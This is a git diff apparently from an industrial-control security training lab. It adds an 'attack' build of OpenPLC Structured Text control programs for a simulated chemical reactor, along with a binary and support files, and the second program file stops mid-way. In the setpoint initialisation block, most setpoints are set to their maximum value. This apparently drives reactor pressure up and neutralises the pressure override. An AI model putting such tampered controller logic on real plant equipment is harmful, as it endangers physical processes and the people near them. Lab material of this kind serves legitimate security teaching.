+412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + 